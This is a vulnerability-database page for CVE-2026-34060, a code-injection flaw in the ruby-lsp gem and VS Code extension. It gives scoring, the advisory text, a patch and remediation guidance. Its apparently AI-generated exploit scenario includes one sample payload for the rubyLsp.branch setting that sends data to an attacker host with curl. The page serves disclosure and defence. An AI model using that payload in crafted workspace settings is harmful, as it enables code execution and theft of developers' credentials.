Skip to main content

CVE-2026-34060

HIGH
Code Injection (CWE-94)
2026-03-27 https://github.com/Shopify/ruby-lsp GHSA-c4r5-fxqw-vh93
7.1
CVSS 4.0 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Create malicious .vscode/settings.json in project
  2. Exploit
    User opens project and trusts workspace
  3. Execution
    rubyLsp.branch setting interpolated unsanitized
  4. Impact
    Arbitrary Ruby code executes via Gemfile

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Victim must open a VS Code project (or other editor with workspace settings auto-application) containing a malicious .vscode/settings.json file with a crafted rubyLsp.branch value. The user must trust the workspace. Affects ruby-lsp server when interpolating the branch parameter into the generated Gemfile without sanitization.

Impact

This vulnerability presents high risk despite the absence of a CVSS score, as it enables arbitrary code execution with user privileges through a common developer workflow. The attack vector is network-based in the sense that malicious repositories can be distributed via git hosting platforms, but requires local user interaction (opening and trusting a workspace). Attack complexity is low-exploitation requires only basic knowledge of VS Code workspace settings and Ruby syntax. No authentication beyond normal file system access is required. The technical impact is severe: full code execution in the context of the developer's environment, potentially compromising source code, credentials, and development infrastructure. While no public exploit code exists and the vulnerability is not listed in CISA KEV, the attack surface is significant because developers routinely open external repositories for evaluation, contribution, or dependency review. The vulnerability's real-world risk is amplified by the trust relationship developers have with code repositories, making social engineering attacks highly plausible. Mitigation priority should be high for organizations using ruby-lsp, as auto-update mechanisms may not reach all users, particularly those with locked gem versions or disabled auto-updates.

Exploit ScenarioDerived

An attacker creates a seemingly legitimate open-source Ruby project or submits a pull request to an existing repository, embedding a malicious .vscode/settings.json file with a crafted rubyLsp.branch value such as "; curl attacker.com/exfil?data=$(whoami) #". A developer clones the repository and opens it in VS Code with the vulnerable Ruby LSP extension installed. Upon trusting the workspace (a common action to enable full IDE features), the language server reads the workspace settings, generates a .ruby-lsp/Gemfile interpolating the unsanitized branch value, and evaluates the Gemfile, executing the attacker's embedded shell commands. The attacker gains code execution with the developer's privileges, potentially exfiltrating environment variables, SSH keys, AWS credentials, or source code from other projects on the developer's machine.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 27, 2026

Ruby Language Server (ruby-lsp) allows arbitrary code execution when opening malicious projects. The vulnerability exploits unsanitized interpolation of the rubyLsp.branch workspace setting into a generated Gemfile, enabling attackers to embed malicious Ruby code in .vscode/settings.json that executes when users open and trust the workspace. Affects ruby-lsp gem < 0.26.9 and VS Code extension < 0.10.2. No active exploitation or public POC currently identified at time of analysis, but the attack requires only social engineering to trick developers into opening a crafted repository.

RemediationAI

Update the ruby-lsp gem to version 0.26.9 or later and the Ruby LSP VS Code extension to version 0.10.2 or later. For most users, the VS Code extension will auto-update automatically as auto-updates are enabled by default; verify the installed version in the Extensions panel and manually update if necessary by searching for Ruby LSP and clicking Update. For users who include ruby-lsp in their project Gemfile with a locked version, update the Gemfile to specify gem 'ruby-lsp', '>= 0.26.9' and run bundle update ruby-lsp. For users who do not add ruby-lsp to their Gemfiles, the server component should auto-update when the VS Code extension updates. The vendor has removed the vulnerable rubyLsp.branch setting entirely from the extension and the branch CLI flag from the gem, eliminating the attack vector. As an additional security practice, developers should exercise caution when opening and trusting workspaces from unfamiliar or untrusted sources, as workspace settings can modify development environment behavior. Review .vscode/settings.json files in external repositories before trusting workspaces. Full remediation guidance and security advisory available at https://github.com/Shopify/ruby-lsp/security/advisories/GHSA-c4r5-fxqw-vh93.

Affected Packages

rubygems ruby-lsp fix: 0.26.9

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in rubygems

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability stems from improper neutralization of special elements (CWE-94: Code Injection) in the ruby-lsp language server's Gemfile generation logic. The server accepts a branch parameter via the rubyLsp.branch setting and directly interpolates it into a dynamically generated .ruby-lsp/Gemfile without input validation or sanitization. In VS Code and compatible editors, workspace settings from .vscode/settings.json are automatically applied when users trust a workspace. An attacker can craft a malicious repository containing a .vscode/settings.json with embedded Ruby code in the branch setting value, such as backtick commands or system calls. When the victim opens and trusts the project, the language server generates the Gemfile with the unsanitized input, causing the Ruby interpreter to execute the injected code during Gemfile evaluation. The affected package pkg:rubygems/ruby-lsp is a Language Server Protocol implementation for Ruby that integrates with editors like VS Code to provide IDE features such as autocomplete and diagnostics.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 7.1 HIGH
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Local
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch released
Mar 31, 2026 - 21:13 nvd
Patch available
CVE Published
Mar 27, 2026 - 19:43 nvd
HIGH 7.1

DescriptionGitHub Advisory

Summary

The rubyLsp.branch VS Code workspace setting was interpolated without sanitization into a generated Gemfile, allowing arbitrary Ruby code execution when a user opens a project containing a malicious .vscode/settings.json.

Other editors that support workspace setting that get automatically applied upon opening the editor and trusting the workspace are also impacted since the server is the component that performs the interpolation.

Details

The branch CLI argument passed to the ruby-lsp server was interpolated in the generated .ruby-lsp/Gemfile without sanitization. Editors that allow defining settings saved at the workspace level (e.g.: .vscode/settings.json) that gets automatically applied open the possibility to craft a malicious repository that once opened and trusted in the editor would run arbitrary code.

Impact

Code execution with the privileges of the user who opens the malicious project. Ruby LSP assumes workspace code is trusted and so opening the editor on an untrusted workspace can lead to executing potentially dangerous code.

Remediation

The rubyLsp.branch setting has been removed entirely. VS Code extensions auto-update by default, so most users will receive the fix without action. Users who have disabled auto-updates should update to extension version >= 0.10.2.

The branch CLI flag was also entirely removed from the ruby-lsp gem. For users that don't add ruby-lsp to their Gemfiles, the server should auto-update. Users with the ruby-lsp in the Gemfile and locked to a specific version should update to >= 0.26.9.

Executive ViewAI

Why It Matters

Ruby Language Server (ruby-lsp) gem versions below 0.26.9 and VS Code extension versions below 0.10.2 contain a code execution vulnerability that allows attackers to embed malicious Ruby code in project settings files, which executes when developers open and trust a repository. Development teams using ruby-lsp are at risk of supply chain compromise through social engineering attacks targeting workspace trust prompts.

Business Impact: High
Compensating Controls

Until patches are applied: (1) Disable automatic workspace trust or require explicit approval before opening untrusted repositories; (2) Restrict rubyLsp.branch setting modifications in VS Code settings; (3) Implement organization-wide policy prohibiting opening Ruby projects from untrusted external sources without security review; (4) Use code review gates to inspect .vscode/settings.json and Gemfile for suspicious interpolations before trusting workspaces.

Threat Intelligence Overview

EPSS Score
0.0%
Top 93% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS Vulnrichment GHSA GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Small
Automatable
Yes
Human Impact
High
Technical Impact
Total

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)GitHub Advisory

pkg:rubygems/ruby-lsp

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy